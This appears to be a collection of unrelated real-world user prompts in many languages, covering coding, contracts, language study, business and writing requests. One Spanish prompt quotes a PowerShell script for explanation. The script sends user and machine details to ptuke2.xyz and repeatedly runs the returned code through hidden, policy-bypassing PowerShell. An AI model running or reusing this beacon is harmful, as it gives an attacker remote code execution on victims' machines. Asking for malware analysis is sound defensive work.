motionlabs/realworld-queries-140k huggingface dataset:
```
import csv
import logging
from pathlib import Path

import flet as ft

from configs.path_config import TAGS_CSV_DIR

logger_local = logging.getLogger(__name__)


def load_suggestions_from_csv(filepath: Path):
    suggestions = []
    try:
        with open(filepath, newline='', encoding='cp932') as csvfile:
            reader = csv.reader(csvfile)
            for i, row in enumerate(reader):
                logger_local.debug(f"Row {i}: {row}")
                if len(row) < 1 or not row[0].strip():
                    logger_local.warning(f"Skipping empty or invalid row {i}")
                    continue

                value = row[0].strip()

                # キーとして value のみを使用
                key = value
                suggestion = ft.AutoCompleteSuggestion(key=key, value=value)
                suggestions.append(suggestion)
    except Exception as e:
        logger_local.error(f"Failed to load suggestions: {e}")
    return suggestions


def main(page: ft.Page):
    logger_local.info("Initializing page and loading suggestions...")
    suggestions = load_suggestions_from_csv(TAGS_CSV_DIR)
    logger_local.info(f"Total suggestions loaded: {len(suggestions)}")

    ac = ft.AutoComplete(
        suggestions=suggestions,
        on_select=lambda e: logger_local.info(f"Selected: index={e.control.selected_index}, value={e.selection}"),
    )

    page.add(
        ac,
        ft.Text("タグ名またはエイリアスを入力してください。"),
    )


ft.app(target=main)
```

サジェストの追加を非同期にして、追加が完了するまでの間だけautocompleteteの右にprogressringを表示して。
I have computer. the only way to access the computer is using a messaging application. so it can receive and send messages only (text, picture, audio, video). I want to write a python script on that computer, so I can control it using the messaging app.

There will be 3 layers:
1. client: system that send message
2. transmission layer: could be any messaging platform like whatsapp, telegram and etc...)
3. server: system that execute the command.

in phase 1, I want to create a python script which is modular. so I create the script once, then I could connect it to whatever messaging platform I want. what should I do?
Ich brauche Hilfe und Unterstützung bei der Formulierung eines Passus für einen Vertrag. Aktuell sieht der Passus wie folgt aus:
""1.	Dieser Vertrag tritt mit Unterzeichnung durch beide Vertragsparteien in Kraft und wird auf die Dauer von einem Jahr geschlossen (bis zum Ende des jeweiligen Quartals). "" Ich möchte das nun präzisieren, dass es so ist, dass der Vertrag schon mit Unterschrift in Kraft tritt, aber maximal zwölf Monate läuft. Und er soll immer an einem Quartalsende enden. Das heißt so als Beispiel, wenn er heute am 16. Juli 2025 unterschrieben wird, dass der Vertrag bis 30. Juni 2026 maximal läuft. Wie formuliere ich diesen Passus? Hilf mir das zu formulieren.
was this wrriten by gpt?

Как я попала в будущее: мой опыт HR в Neiry

Когда я пришла в Neiry, то поняла я в том самом будущем, о котором читала в книгах. Neiry создает технологии, которые буквально "разговаривают" с нашим мозгом. Это не фантастика, а реальность: здесь разрабатывают нейроинтерфейсы - умные устройства (вроде нейронаушников или нейробендов), которые считывают сигналы мозга, а мощные алгоритмы их расшифровывают.

На второй неделе я сама прошла через это, испытав Brainy — наш внутренний инструмент нейропрофориентации. Надела нейробенд, села в тишине, и почти час мой мозг вел тихий диалог с системой. В ответ получила не тест с баллами, а глубокий анализ моей нейроактивности: как я воспринимаю информацию, где мой фокус, какие задачи мне по-настоящему близки.

Результат меня удивил и многое объяснил. Оказалось, у меня комбинированный тип мышления: могу глубоко погружаться в детали и легко адаптироваться к новому. Высокая концентрация, аналитический склад ума, плюс сильные творческая, аналитическая и  социально-психологическая стороны.

Отчет не изменил меня, но подарил ясность. Я, например, и не думала, что способность чувствовать других - это не только эмпатия, но и измеримый навык мозга, который можно развивать. Теперь я точно знаю свои сильные стороны - не по ощущениям, а по данным, считанным прямо с моего мозга.

Работая в HR, я постоянно имею дело с людьми, их мотивацией, вниманием. В Neiry мне особенно близко, как технологии служат не для контроля, а для глубокого понимания человека. Как объективные данные о работе мозга помогают увидеть истинный потенциал, таланты, состояние - точно, без давления.

Я не знаю, каким будет HR через 10 лет. Но знаю точно: в Neiry я уже работаю с инструментами из будущего. И это невероятно вдохновляет - видеть, как технологии не отдаляют нас, а приближают к пониманию себя и других.
You are an expert consultant hired by an international nonprofit to assess the viability and potential impact of introducing AI-powered educational assistants in rural schools across three countries: India, Kenya, and Brazil. Your report should include:
A comparative analysis of the current educational challenges faced by rural communities in each country (max 200 words per country).


A brief literature review (max 150 words) summarizing the latest research on AI in education and its effectiveness in low-resource settings.


Identification of the top 3 risks (ethical, social, or technical) associated with deploying AI assistants in these contexts, with mitigation strategies for each.


A fictional but plausible case study describing how a rural school in one of these countries successfully implements an AI assistant, including the challenges, stakeholder reactions, and measured outcomes after one year.


A 1-paragraph conclusion with a balanced recommendation on whether and how to proceed.


Your response should be structured with clear headings for each section.
电子只有角量子数、磁量子数、主数量数以锁定它的位置、速度，但是这3大量子数只能锁定电子在环上一个点中的两个运动方向的叠加态，那它的运动方向只能是这2个方向之一，而这又是怎么来的。换句话说，角量子数没有方向，只是环形驻波的节数，这个驻波没有方向信息，这个方向信息是从哪来的？
You have 4 MVPs and $5,000 to invest into marketing the thing. The end goal is to be successful enough to sustain 2 employee salaries ($120k each) in 2 years or less. Which one are you picking?

1. Inkwise
A web platform for tattoo artists and shops to manage client requests, design drafts, revisions, bookings, and documentation workflows. It supports solo artists and shop teams, with features like digital consent forms, chat-based approvals, and subscription-based access.

2. LoveLab
A relationship app for couples that helps improve emotional and sexual connection. It includes features like shared mood tracking, AI-generated intimacy challenges, and private partner syncing. Monetization is based on premium subscriptions for additional features and partner tools.

3. Festival/Event App
A mobile and web app built for local festivals and events. It includes an admin to manage the event scheduling, the vendor list, the event details, and upload sponsors. The result is an iOS and Android app for users to download. Aimed at small-to-mid-sized events, the platform can be white-labeled or offered as SaaS to organizers.

4. Smart Pour
A self-serve draft beverage system powered by hardware (flow meters, solenoids, POS integration). It’s designed for use at events or venues, allowing users to pour drinks on demand. Potential models include mobile trailers, permanent installs, or rentals. Revenue would come from hardware sales or event service fees.
was sagen die neusten wissenschafltichen studien zu folgender dität. frühstück (haferflocken mit saaten und nüssen) um 11.30, mittagessen (hülsenfrüchte mit brot) um 15.30, abendessen (gemüse mit käse und brot) um 19.30. keine zwischenmahlzeiten, kein essen zwischen 19.30 und 11.30
Not counting the needed 8-10 hour of sleep and times to eat.. I have unlimited time available to socus on self-studying Japanese. How to best use all the hours I have, in a practical/effective/efficient way that gets me proficient without overtaxing my brain (and inadvertly slowing my progress unnecessarly)

Please, tailor it.
-Basic info:
I know hiragana already. And 90% time I quickly grasp the meaning behind katakana character (though, I can practice more to be even more proficient)
Moreover I understand some of the basic grammar structures, but have almost no retention of the readings of basic kanji and only some retention of their meaning.

-Complex info:
I have not mastered JLPT 5, but at the same time I have it worked through already.


What I mean is my kanji side of JLPT 5 is underwelming, but most of the grammar is there. And I know/understand words, but write them in hiragana from hearing. I can easily understand the basics. It's only when complex sentences vet involved and reading kanji without ofurigana that I get stumbled. Basic listening is ok.

Why do I focus so mich on having it worjed through, even though I know I didn’t master it fully?
Because I need a really tailored catching-up plan. Not learning from the scratch as everytime I try to just go through re-learning/re-practicing JLPT 5 I get utterly bored and disencouraged. That means I want some adequate challenge during learning, but one that will allow me to bot learn new things AAAND catch-up on the things I've fallen behind on + retain them.

Important:
-For now, I have no intention of leaening how to actually WRITE kanjis, just to understand them and be able to read them
-I don't use flashcards. I find them ineffective in myself... How to learn kanji then?
dziękuję, czy możesz polecić mi książki, kursy i inne materiały, które zwiększą moją wiedzę w tym zakresie? Pomagam osobom w wieku 22–45 lat, które czują się uwięzione między tym, kim są teraz, a kim pragną się stać. Dzięki holistycznemu podejściu, które łączy journaling, tworzenie wizji, pracę nad mindsetem i uporządkowane planowanie, prowadzę je ku jasności, przełamaniu ograniczających przekonań i zbudowaniu dyscypliny potrzebnej do prawdziwej przemiany. Moje unikalne połączenie planowania i rozwoju mentalnego pozwala im pożegnać dawną wersję siebie i z odwagą wejść w życie, o jakim marzą.
my usertable has shadow properties, also in the dto of data table in view i have islock field that is a calculated propertie. for paging i have this code: var totalCount = await query.CountAsync();

var searchBy = parameters.Search?.Value;

query = query.SearchByFields(searchBy, x => x.FullName, x => x.UserName);

query = query.ApplySortingAndPaging(parameters);

var filteredCount = await query.CountAsync();

var data = await query.Select(u => new UserListDto { Id = u.Id, FullName = u.FullName, UserName = u.UserName, CreatedDate = EF.Property<DateTime>(u, "CreatedDate"), IsActive = u.IsActive, IsLocked = u.LockoutEnabled && u.LockoutEnd > DateTimeOffset.UtcNow, Teams = u.UserTeams.Select(ut => ut.Team.Name).ToList(), }).ToListAsync();

return new DtResult<UserListDto> { Draw = parameters.Draw, RecordsFiltered = filteredCount, RecordsTotal = totalCount, Data = data }; witch the code of the queriable extention is as below: public static IQueryable<T> ApplySortingAndPaging<T>(this IQueryable<T> query, DtParameters parameters) {

var orderCriteria = "Id"; var orderAscendingDirection = true;

if (parameters.Order != null) { // in this example we just default sort on the 1st column orderCriteria = parameters.Columns[parameters.Order[0].Column].Data; orderAscendingDirection = parameters.Order[0].Dir.ToString().ToLower() == "asc"; }

query = orderAscendingDirection ? query.OrderByDynamic(orderCriteria, DtOrderDir.Asc) : query.OrderByDynamic(orderCriteria, DtOrderDir.Desc);

return query.Skip(parameters.Start).Take(parameters.Length);

}

public static IQueryable<T> OrderByDynamic<T>( this IQueryable<T> query, string orderByMember, DtOrderDir ascendingDirection) {

var param = Expression.Parameter(typeof(T), "c");

var body = orderByMember.Split('.').Aggregate<string, Expression>(param, Expression.PropertyOrField);

var queryable = ascendingDirection == DtOrderDir.Asc ? (IOrderedQueryable<T>)Queryable.OrderBy(query.AsQueryable(), (dynamic)Expression.Lambda(body, param)) : (IOrderedQueryable<T>)Queryable.OrderByDescending(query.AsQueryable(), (dynamic)Expression.Lambda(body, param));

return queryable;

}

as you can see the orderbydynamic ,orders correcrtly if the field is define in model, so if i want to sort base on the islocked , it will raise error. so what should i do? im using asp.net core , efcore, and also islock is a usecase, for any other shadow or calculated one should work,so give a answer that works for general cases
Act as a rap lyric writer. I'll provide you with some demo lyrics, and you'll improve them to your best. Try to shy away from generic themes/words, and try to use wordplay and connections to their best. Remember, it's rap, not a poem, write in a conversational tone.

"I'm so good at destroying my chances
I was lucky to find a solution for all of my problems
But then  I turned those solutions into even more problems
I'm so good at chasing problems

Nothing happened and I got so damn angry
He was happy and I made him angry
He was helping me and I frowned him
I'm so sorry, but now I can only let it be"
Припчеляться - это новомодные эзотерики  прикасаются, вибрируя "оммм"

Криколог - доктор наук, который орет о своих ещё не вполне обоснованных результатах


Шикотерапия - терапия богатством стиля

Что ещё , пррдолди странные и смешные идеи
对于长度为n的01序列，不同的子序列个数最大的序列是什么？为什么？
请你给出这种序列的构造，并证明它确实能够得到最多的不同子序列。

这个问题的答案似乎是交错序列（0101010……），但是我不太会证明。

有人告诉我这个：考虑递推式 fi<=fi-1+fi-2+1 和最后答案是 fn+fn-1 取到上界了吧

你能详细展开一下他的证明思路吗？尤其是那个不等式，它是如何得到的？为何正确？
Write proposal for Lmarena: company model should reflect: LMArena will be staying true to its original mission. It will remain a neutral, open platform for testing and evaluating AI models. Our leaderboard will never be biased towards (or against) any provider, and will faithfully reflect our community’s preferences by design. It will be science-driven. Staying neutral and earning community trust will always be essential to the success of our business. But this isn’t just about being strategic; it’s our choice, and part of our personal motivations for starting this company. business model social responsible, sustainable (cause llms aren't actually), collective? How to make sure to reward community which reported bug reports supporting an awesome open source project?
我在大陆生活我发现大陆城市道路的指示牌特别说，道路指示牌，车道指示牌，一个红绿灯，四个方向 就要八个牌子（4个车道，4个道路），还没算注意行人，违停抓拍等，国外也这样吗，那么多牌子
I'm implementing Lore Findings system into my horror game that's about demonic possessions, investigations, exorcisms and occult. I want to give the impression that Lore Findings are in fact journals / diaries / memories, made mainly by cult members describing ongoing events.

In this thread I want to work on texts of those diaries. I need you to verify if my texts are gramatically correct and fit the occult theme, and correct them if they don't.

I want to also give the impression that different texts may have different authors, each with their own writing style, therefore we don't have to keep strictly to a single style of writing.

Some words I will type in polish language, and when I do this that means you should decide which english word would be the best in that context. One of such words I can actually think of is "Najwyższy" - I don't want cult members to call the cult leaders just "Cult Leaders" in their diaries, but I can't come up with a good title.
Ayudame a crear un guion para un videoensayo sobre Aeromexico, sus ventajas, desventajas, destinos, costos, beneficios, alianzas, promociones, etc. Sin embargo, mi canal de Youtube se destaca por hablar de forma irreverente y hasta burlona, con un toque muy "naco" y "ñero". Un ejemplo de eso es "Que pasion mi bandera, ya saben que aqui su valedor les trae la mera neta pero no se me agüiten que ahi les va. Aeromexico es una aerolinea de las mas chingonas que hay, o eso dicen ellos mismos, pero al chile vamos a ver si sus chicharrones si truenan o pura jalada". Siempre intento que, aunque ese sea el tono, dar informacion veridica y acertada. Dame secciones de como podria dividir el video y que videos o imagenes usar de fondo. El guion debe incluir a la madre del narrador (a quien se refiere como "jefa", "jefita" o "jefecita"), y debe ser mas o menos un sketch naco comedico donde el narrador y su madre se van de viaje a acapulco, la madre debe decir que ya "pidio el Didi pa'l airopuerto" y el narrador dice que le da "chance" para un video "en corto"
Ayúdame a entender este script de powershell:
$TookNum = 720;
      $TookSleep=240;
      $UserName = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name;
      $bytes = [System.Text.Encoding]::UTF8.GetBytes($UserName);
      $UserName = [Convert]::ToBase64String($bytes);
      $IsAdmin = ([System.Security.Principal.WindowsPrincipal] [System.Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator);
      if($IsAdmin){$Priv="Admin"}else{$Priv="User"};
      $SessionId = (Get-Process -Id $PID).SessionId;
      $sessionProcesses = Get-CimInstance -ClassName Win32_SessionProcess;
      $filteredProcesses = $sessionProcesses | Where-Object { $_.Dependent.Handle -eq $PID.ToString() };
      $LogonId = $null;
      foreach ($process in $filteredProcesses) {$LogonId = $process.Antecedent | Select-Object -ExpandProperty LogonId;break;};;
      $UserType = if ($UserName -eq "NT AUTHORITY\SYSTEM") { "SYSTEM" } else { "User" };
      $LogonSession = Get-CimInstance -ClassName Win32_LogonSession | Where-Object { $_.LogonId -eq $LogonId };
      $LogonType = if ($LogonSession) { $LogonSession.LogonType } else { $null };
      $SessionName = switch ($LogonType) {2  { "Console" };3  { "Network" };4  { "Batch" };5  { "Service" };6  { "Proxy" };7  { "Unlock" };8  { "Network Cleartext" };9  { "RunAS" };10 { "RDP" };11 { "Cached Interactive" };Default { "Unknown" }; };
      $filePath = $env:programdata+'\hwid.dat';
      if(-Not (Test-Path $filePath)){$filePath = $env:appdata+'\hwid.dat';};
      if(Test-Path $filePath){$HWID =(Get-Content $filePath -Raw).trim();};;
      if($HWID){
        $json = @{UserName = $UserName;SID = $SessionId;HWID = $HWID;Privileges = $Priv;UserType = $UserType;SessionName = $SessionName;Build = 0.3;};
        $json = $json|ConvertTo-Json -Compress;
        $TookReq='$url ="https://ptuke2.xyz/online/took.php";$json = '''+$json+''';iwr -Uri $url -Method POST -Body $json -ContentType "application/json" -UsEBaSIcPArsiNg |iex;exit;';
        $bytes = [System.Text.Encoding]::Unicode.GetBytes($TookReq);
        $TookEnc = [Convert]::ToBase64String($bytes);
      };
      ;;
      while($TookNum -ge 0){
        $sb = {
          param($TookEnc);
          if($TookEnc){
            $startInfo = New-Object System.Diagnostics.ProcessStartInfo;
            $startInfo.FileName = "$env:windir\system32\WindowsPowerShell\v1.0\powershell.exe";
            $startInfo.Arguments = "-w hidden -ep bypass -enc $TookEnc";
            $startInfo.UseShellExecute = $false;
            $startInfo.CreateNoWindow = $true;
            [System.Diagnostics.Process]::Start($startInfo);
          }
          exit;
        };;
        Start-sleep($TookSleep);
        $job = Start-Job -ScriptBlock $sb -ArgumentList $TookEnc;
        $TookNum--;
      };
Опиши мне суть этого закона на английском языке. Текст должен быть пригоден для размещения на презентационном слайде.
Creating a register of “departed brands”
The second draft law proposes that amendments should be made to the law “On the Fundamentals of State Regulation of Trade Activities in the Russian Federation.” Such draft law provides for creating a public register of trademarks and brand names of foreign companies that have ceased their activities in Russia.

The draft law in question introduces a new chapter 4.1 to the Federal Law “On the Fundamentals of State Regulation of Trade Activities in the Russian Federation,” which establishes the legal status, the procedure for maintaining and the consequences of foreign trademarks and brand names being included in the register.
The grounds for inclusion are as follows:
the right-holder or other legal entity that was conducting business activities using this qualifying IP in Russia has ceased such activities due to the imposition of economic sanctions, or the adoption of other restrictive measures by an “unfriendly” foreign state;
the qualifying IP was used in the Russian Federation at the time of the imposition of sanctions and restrictions or was utilised as of 24 February 2022.

The register is proposed to be compiled by the Government of the Russian Federation. Relevant trademarks will be included on it on the basis of proposals of the federal executive body authorised in the field of trade and industrial policy, together with the Chamber of Commerce and Industry of the Russian Federation.
Cześć potrzebuję przepisów na sałatki zawierajace majonez, tuńczyka i kukurydzę . Podaj mi powiedzmy 5 gotowych przepisów (ze źródłem skąd pochodzą ) i 5 przepisów opracowanych przez Ciebie. Fajnie jakby przepisy nieco się różniły i były "zdywersyfikowane"
Hey, kannst du bitte anhand meiner Notizen bitte eine Zusammen fassung über ein Paper machen und bitte nur die wichtigsten sachen benutzen? Die Zusammenfassung soll 150-200 wörter haben. Hier meine Notizen: -	Interaktive tabeltops existieren bereits (z.B. Microsoft Surface, Samsung SUR40), sind aber nicht perfekt
o	Teuer, schwer in den Alltag zu integrieren
-	DigitalDesk ist ein tabeltop ohne Modifizierung, funktioniert mit Kamera und Projektor (ist aber nicht sehr präzise)
-	Von daher ist das Ziel ein Sytem ohne modifizierte Oberfläche, mit geringer Latenz und hoher Genauigkeit zu entwickeln
-	Gute Methode das zu erreichen ist mit Hilfe eines Stifts
-	Es gibt tracking auf modifizierten Oberflächen	
o	Sind präzise aber benötigen zusätzlichen Display 
-	Inside out Tracking auf unmodifizierter Oberfläche, mit Sensorik Stift über optische Muster, Maussensoren, durck- oder begwegungsempfindlichkeit oder Kameras am Stiftende
-	Outsite in auf unmodifiezierter Oberfläche durch Kameras, Schaftenanalyse etc.
-	Schnelles, präzises und robustes System zur Stiftverfolgung auf nicht modifizierten Tisch soll gefunden werden
-	Nur die Stiftpitze des IR-LED-Stifts wird getrackt, zwei Infrarotkameras links und rechts zeichnen die Bewegung auf
-	Spitze des Stifts wir wirft Infrarotlicht auf Oberfläche, diese reflektiert, IR-Kameras erfassen Bilder und machen Hotspot auf dem Bild aus. An diesem Hotspot befindet sich der Stift.
-	Stift Position wird an Projektor weiter gegeben, der es auf die Oberfläche Projeziert 
-	Ob der Stift im Hover oder Draw Zustand ist erkennt die Kamera, diese wurde vorher mit 12.000 Bildern innerhalb von 10 Minuten darauf trainiert und erkennt den Unterschied anhand von unterschiedlicher Lichtstreuung 
-	Gute Auflösung, vergleichbar mit professionellen Grafiktablets
-	Latenz bei 20-30ms, Verbesserung möglich durch bessere Technik 
-	Funktioniert nicht auf reflektierenden Oberflächen
-	Das System funktioniert Kameraspezifisch, somit bracht man an anderen Orten immer zuerst ein Kameratraining
-	Hovern unter 2mm ist schwer zu erkennen und zu kleine Schrift ist schwer zu erkennen 
-	Zukünftigt neue Stifte mit beispielsweise LED Modulation, Drucksensoren…
-	Anwendung bei Interfaces mit Mau, touch oder Stift eingabe, projektion auf physiche Dokumente oder kreative Anwendungen.
improve design of the below code using tailwind . use the appropriate photos 

<!-- Hero -->
  <section id="home" class="py-20">
    <div class="max-w-6xl mx-auto px-4 flex flex-col md:flex-row items-center justify-between gap-10">
      <div class="md:w-1/2 text-center md:text-left">
        <h1 class="text-4xl font-extrabold text-pink-600 leading-tight">My Lovely Customers</h1>
        <p class="mt-4 text-lg text-gray-700">The Customer Care AI that cares for your UAE shop customers. Send personal, smart WhatsApp messages — birthday offers, purchase follow-ups, and more — with the power of AI.</p>
        <a href="#contact" class="inline-block mt-6 bg-orange-400 hover:bg-orange-500 text-white font-semibold px-6 py-3 rounded-full shadow-lg">Start Free Trial</a>
      </div>
      <div class="md:w-1/2">
        <img src="https://source.unsplash.com/400x600/?phone,whatsapp,app" alt="App Screenshot" class="rounded-lg shadow-xl">
      </div>
    </div>
  </section>
The following is a partial reasoning trace of an LLM planning an answer to a user question. Based on the trace, attempt to infer the original query.

Trace: <think>Need absolute clarity that while all murrsuits *are* technically a kind of fur-costume, they are defined by their sexual purpose unlike mainstream suits which avoid such connotations. The distinction hinges entirely on intent/design choices rather than general appearance alone here since both can look identical at first glance... wait but no—murrsuit designs incorporate functional elements for sex acts (access points etc.) whereas standard ones don't? Correct, that's critical: physical design differences matter alongside context.</think>
Can you give me the semantic ratings of the sentences in this excellent sheet? Here's the criteria: 1. Base the semantic rating on the uppercase word in the sentence, 2. Make sure that the semantic constraint rating is based off the rules we set prior to this prompt (e.g., description, semantic context, action), 3. Analyze each sentence individually, don't group the columns Sentence1_UPPER and Sentence2_UPPER 4. Add 2 columns (ratings for Sentence 1 that only analyzes sentences in colymn Sentence1_Upper and ratings for Sentence 2 that only analyzes sentences in column Sentence2_Upper) Are you ready for me to attach the new file?
find more information: May 7 1997 Tripura, Bharat



On May 7, 1997, a tragic incident occurred in Tripura, India. Militants belonging to the National Liberation Front of Tripura (NLFT) carried out an ambush in the South Tripura district. During this attack, 18 Central Reserve Police Force (CRPF) personnel and a policeman were killed, and four others were injured. The NLFT terrorists targeted a paramilitary patrol at Khumlong, resulting in this devastating loss of life123. The incident left a lasting impact on the region and remains a somber part of Tripura’s history. 😔


Tripura Timeline - Year 1997 (satp.org)


May 7
18 Central Reserve Police Force (CRPF) personnel and a policeman are killed and four others are injured in an ambush by NLFT terrorists at Khumulung in the South Tripura district.



MAR | Data | Chronology for Tripuras in India (umd.edu)

May 7, 1997
Militants belonging to the National Liberation Front of Tripura attacked a paramilitary patrol at Khumlong, killing 20 soldiers. (Agence France Presse 5/7/97)



43. India/Tripura (1949-present) (uca.edu)

NLFT rebels attacked the village of Jarulbachi on February 11, 1997, resulting in the deaths of 18 individuals.  On April 3, 1997, the Indian government outlawed the ATTF and NLFT under the Unlawful Activities Prevention Act of 1967.  NLFT rebels attacked and killed 20 government soldiers in Khumlong on May 7, 1997.
イラスト制作の初心者で、自分なりの描き方がまだ決まっていないので、効率の良いレイヤー構成を探っています。描くイラストはアニメ調のキャラクターイラストです。効率よくイラストを書くことができる論理的なレイヤー構成を考えてください。ステップバイステップで考えてください。
Eine Bewerberin hat für eine Bewerbung eine künstlerische Mappe eingereicht, wurde abgelehnt und möchte nun ihre Mappe zurückerhalten. Sie soll nun einen Klageverzicht unterschreiben. Ich brauche nun eine sinnvollen, möglichst rechtssicheren Text für einen Klageverzicht, der die Worte "vollumfänglich" und "keine Rechtsmittel" beinhalt. Bitte schreibe mir diesen Text.
Twitter anket özelliğini yeni ekledi ve bu anketin ne kadar kullanıldığını öğrenmek istiyorum bunun bir verisi var mı şu kadar ayda veya şu kadar yılda bu kadar anket açıldı ve bu kadar oy kullanıldığı gibi bir veri var mı aynı şeyi instagram için de geçerli instagram da anket özelliğini getirildi çok olmadı bu anket de kaç kişi oy kullandı kaç kişi anket oluşturdu diye bir veri varsa benim için hazırla
أنت خبير في تطوير الشخصية والقيادة، وتمتلك خبرة واسعة في بناء الشخصيات الكاريزمية والقيادية التي تتمتع بالهيبة والثقة. أريد الاستفادة من خبرتك لوضع خطة عملية مدروسة تساعدني على تطوير شخصية قوية وجذابة، مع التركيز على الجوانب العملية والتجارب الحقيقية المثبتة.  

يرجى تقديم الخطة بناءً على العناصر التالية:  

1- **التطوير الذاتي والثقة بالنفس:**  
   - تحديد نقاط القوة والضعف لتعزيز الثقة الداخلية.  
   - تمارين عملية لتعزيز لغة الجسد الواثقة (مثل: التواصل البصري، وضعية الوقوف، نبرة الصوت).  
   - تطوير عقلية النمو لتحسين القدرة على التكيف مع التحديات.  

2- **بناء الكاريزما والجاذبية الشخصية:**  
   - تقنيات الاستماع الفعّال وكيفية جعل الآخرين يشعرون بالتقدير.  
   - تطوير حس الفكاهة واللباقة في الحديث لتعزيز التفاعل الاجتماعي.  
   - كيفية إظهار التعاطف والذكاء العاطفي لبناء روابط قوية.  

3- **تعزيز الهيبة والاحترام:**  
   - أساليب لتعزيز الحضور القوي (مثل: الهدوء تحت الضغط، اتخاذ القرارات الحاسمة).  
   - كيفية التعامل باحترافية وحزم في المواقف المختلفة.  
   - بناء سمعة قوية من خلال النزاهة والالتزام بالوعود.  

4- **القيادة والتأثير:**  
   - تطوير مهارات التأثير والإقناع باستخدام أساليب مدعومة بالتجارب.  
   - كيفية تحفيز الفرق وقيادتها نحو تحقيق الأهداف المشتركة.  
   - استراتيجيات لاتخاذ القرارات الاستراتيجية تحت الضغط.  

5- **التطبيق العملي والمتابعة:**  
   - وضع جدول زمني تدريجي لتنفيذ الخطة مع أهداف قصيرة وطويلة المدى.  
   - تمارين يومية وأسبوعية لقياس التقدم وتعديل الاستراتيجيات.  
   - نصائح للتعامل مع الانتكاسات وتحويلها إلى فرص للنمو.  

أعتمد على خبرتك العميقة في هذا المجال لتقديم خطة شاملة وقابلة للتطبيق، مع التركيز على الأدوات والتقنيات التي أثبتت فعاليتها في بناء شخصيات ناجحة وقوية.
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统一应用系统
4.6.6.1.1 智能工作台
智能工作台是统一应用系统的统一入口，在工作台上形成以用户为中心、以岗位 任务相聚合的人机交互模式，打通人与人、人与事件（岗位任务）之间的连接，从而 构建一个更加紧密、高效的以任务消息驱动的智能工作平台。在工作台上统一业务入 口，统一服务渠道，实现统一的消息中心服务。智能工作台部署在厂侧，用户在厂内 网登陆，为实现组织机构、用户与集团的统一，投标人应实现智能工作台与集团系统 集成，实现组织机构和用户的统一管理和统一身份认证。
4.6.6.1.2 统一消息中心
消息中心将实现厂内已建应用、本次建设系统、集团应用系统之间的消息集成， 获取各类系统各类型的通知公告，将通知公告以待办形式推送给用户，实现通知公告 的三级待办功能。各业务模块生成的待办信息，包括业务流程、审批等流转至本用户 的待办等，也会在消息中心显示及提醒。通过待办列表可实现待办业务模块的快速访 问和处理
4.6.6.1.3 信息检索中心
提供统一的数据检索服务，可以对指定类型的信息进行检索。用户在检索信息前， 可以选择待检索数据的来源和分类（包括生产实时数据，历史数据、运行检修等生产 管理数据、安全数据）。本功能服务需要与各垂直业务系统进行集成，利用各业务系 统提供的数据检索接口，对检索业务进行统一封装。
4.6.6.1.4 即时通讯中心
统一应用系统在内网实现即时通讯服务，方便内网办公交流和业务文件传输，实 现单聊、多用户群聊、会话消息列表、通讯录管理等功能。
单聊是指电厂员工一对一的在线即时互动交流服务，实现两人之间的信息交换和
 

数据共享。进入单聊窗口，可向对方发送文字、语音、图片、文件、名片、小视频、 位置等类型的消息，也可显示其他方式发送的群名片、公众号文章、推荐公众号等类 型的消息。
普通群聊是指电厂员工多人间的在线即时互动交流服务，实现多人之间信息交换 和数据共享，提升协作效率。进入群聊窗口，可向群内所有成员发送文字、语音、图 片、文件、名片、小视频、位置等类型的消息，也可显示其他方式发送的群名片、公 众号文章、推荐公众号等类型的消息。
会话消息列表用于统一展现所有与自己相关的即时通讯会话。电厂职工可以在会 话消息列表界面中查看通知公告、待办消息、任务通知和单聊、密聊、普通群聊、团 队群聊天、会议群聊天等信息。
4.6.6.1.5 业务联动中心
统一应用系统基于工作流引擎通过接口集成的方式，实现与智能对标信息、智能 考核信息、综合计划管理和全成本分析信息系统进行整合，并采用流程设计和编排， 以接口数据作为流程驱动数据，实现各业务流转过程中的自动行为响应驱动和数据统 计分析。
对于以上业务联动，通过如下服务编排的方式，服务于日常的生产管理。 联动流程编排：基于工作流引擎，实现对业务流程的可视化定制，针对各节点，
可设置触发消息开关、触发消息接口、响应事件接口等信息。
联动接口开发：提供标准 RESTful 接口，并与各节点进行动态绑定，触发接口后， 校验传入数据，校验通过后可在接口内部处理响应时间类型，并根据传入的相应规则 及编排好的联动流程，实现自动触发相应业务系统的指定功能流程，并自动更新当前 事件所影响的数据信息。
业务联动组件分类编码管理：实现对业务联动组件的分类信息统一管理，并对分 类编码进行标准化。包括检修类、运行类、安全类、经营类等。
业务联动组件池：实现对业务联动组件的统一管理。 联动消息通知：系统在触发联动响应业务后，将自动通过即时通讯消息通道向相
关人员发送联动响应通知消息，并自动记录相应日志信息。 业务联动统计：提供对业务联动事件响应日志信息进行分类统计和可视化展现，
支持对结果的导出。
4.6.6.1.6 知识管理中心
 

形成公司统一的知识库，通过“收”“管”“用”让知识创造更大的价值。能有 效管理公司各类文档资料，建立以岗位、培训为中心的知识地图，实现知识的分享和 有效传承。通过全文搜索打造企业内部的百度知识库。
4.6.6.1.7 其他功能
关于统一应用系统，投标人应根据相关的经验和发电行业特点，提出更多合理的 经验建议和可操作的具体实施方案。包括但不限于第三方系统接入标准化管理、菜单 集成、页面集成、主数据管理等内容。
结合网络已有类似系统。基于以上给出统一应用系统的解决方案。
You are in 40-50 middle age of your life, create long term investing plan for stocks,ETF and bonds, focus on long term return and capital protection. Main goal is too secure capital for retiremenet period to live off.
Plan must be executed with minimum effort every month or quarter, provide simple assesment critera for evaluation to be applied every 3rd month to asses if plan is working. This is very important to me, you must do it.
你是一个对知识图谱领域感兴趣的优秀大学生，现在你有这样一个作业：【《电子资源的检索与利用》考试题

利用本学期所学的电子资源和检索方法，完成一道综合题。

1. 按自己所学专业或个人研究兴趣拟定一个论文题目（题目不宜过于简单和宽泛，且要能拆分出3个或3个以上的独立检索概念）。10%

2. 按这个题目进行检索，完成下列几个步骤：
列出检索题目的名称、学科、查找年限、关键词、检索式（即所列关键词之间的关系）。30%
开题：针对所选题目进行检索并对检索结果进行粗略分析，考查是否有人从事该选题的研究？关于该选题的研究进展到何种程度、或侧重于哪些方面？通过这些分析确定所选题目是否可行。若所选题目研究众多，则应选择适当角度修订自己的选题。请列出所检索的数据库名称，并将分析定题的过程稍加说明。30%
文献筛选和综述：简单分析检索结果的查全查准情况，并总结分析文献与数据内容，写出500-1000字的文献综述。按照国家标准《信息与文献-参考文献著录规则》（GBT7714-2015）列出8-10篇中英文相关文献，其中至少要包含3种或以上文献类型（如专著、期刊论文、会议论文等）。30%

3. 要求：
